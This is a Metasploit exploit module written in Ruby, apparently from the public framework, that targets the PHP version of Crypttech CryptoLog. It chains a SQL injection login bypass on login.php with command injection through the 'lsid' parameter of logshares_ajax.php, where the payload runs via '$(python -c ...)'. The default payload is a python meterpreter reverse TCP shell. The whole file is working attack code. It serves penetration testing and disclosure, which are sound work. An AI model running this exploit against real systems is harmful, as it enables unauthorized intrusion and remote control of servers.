1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info = {})
12
    super(
13
      update_info(
14
        info,
15
        'Name' => "Crypttech CryptoLog Remote Code Execution",
16
        'Description' => %q{
17
          This module exploits a SQL injection and command injection vulnerability in the PHP version of CryptoLog.
18
          An unauthenticated user can execute a terminal command under the context of the web user. These vulnerabilities
19
          are no longer present in the ASP.NET version CryptoLog, available since 2009.
20

21
          CryptoLog's login.php endpoint is responsible for the login process. One of the user supplied parameters is
22
          used by the application without input validation and parameter binding, which leads to SQL injection
23
          vulnerability. Successfully exploiting this vulnerability gives a valid session.
24

25
          CryptoLog's logshares_ajax.php endpoint is responsible for executing an operation system command. It's not
26
          possible to access this endpoint without having a valid session. One user parameter is used by the
27
          application while executing an operating system command, which causes a command injection issue.
28

29
          Combining these vulnerabilities gives the opportunity execute operation system commands under the context
30
          of the web user.
31
        },
32
        'License' => MSF_LICENSE,
33
        'Author' => [
34
          'Mehmet Ince <[email protected]>' # author & msf module
35
        ],
36
        'References' => [
37
          ['CVE', '2025-34102'],
38
          ['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/']
39
        ],
40
        'DefaultOptions' => {
41
          'Payload' => 'python/meterpreter/reverse_tcp'
42
        },
43
        'Platform' => ['python'],
44
        'Arch' => ARCH_PYTHON,
45
        'Targets' => [[ 'Automatic', {}]],
46
        'Privileged' => false,
47
        'DisclosureDate' => '2017-05-03',
48
        'DefaultTarget' => 0,
49
        'Notes' => {
50
          'Reliability' => UNKNOWN_RELIABILITY,
51
          'Stability' => UNKNOWN_STABILITY,
52
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
53
        }
54
      )
55
    )
56

57
    register_options(
58
      [
59
        Opt::RPORT(80),
60
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/'])
61
      ]
62
    )
63
  end
64

65
  def bypass_login
66
    r = rand_text_alpha(15)
67
    i = rand_text_numeric(5)
68

69
    res = send_request_cgi({
70
      'method' => 'POST',
71
      'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),
72
      'vars_get' => {
73
        'act' => 'login'
74
      },
75
      'vars_post' => {
76
        'user' => "' OR #{i}=#{i}#",
77
        'pass' => "#{r}"
78
      }
79
    })
80

81
    if res && res.code == 302 && res.headers.include?('Set-Cookie')
82
      res.get_cookies
83
    else
84
      nil
85
    end
86
  end
87

88
  def check
89
    if bypass_login.nil?
90
      Exploit::CheckCode::Safe
91
    else
92
      Exploit::CheckCode::Appears
93
    end
94
  end
95

96
  def exploit
97
    print_status("Bypassing login by exploiting SQLi flaw")
98

99
    cookie = bypass_login
100

101
    if cookie.nil?
102
      fail_with(Failure::Unknown, "Something went wrong.")
103
    end
104

105
    print_good("Successfully logged in")
106

107
    print_status("Exploiting command injection flaw")
108
    r = rand_text_alpha(15)
109

110
    send_request_cgi({
111
      'method' => 'POST',
112
      'uri' => normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'),
113
      'cookie' => cookie,
114
      'vars_post' => {
115
        'opt' => "check",
116
        'lsid' => "$(python -c \"#{payload.encoded}\")",
117
        'lssharetype' => "#{r}"
118
      }
119
    })
120
  end
121
end
122

123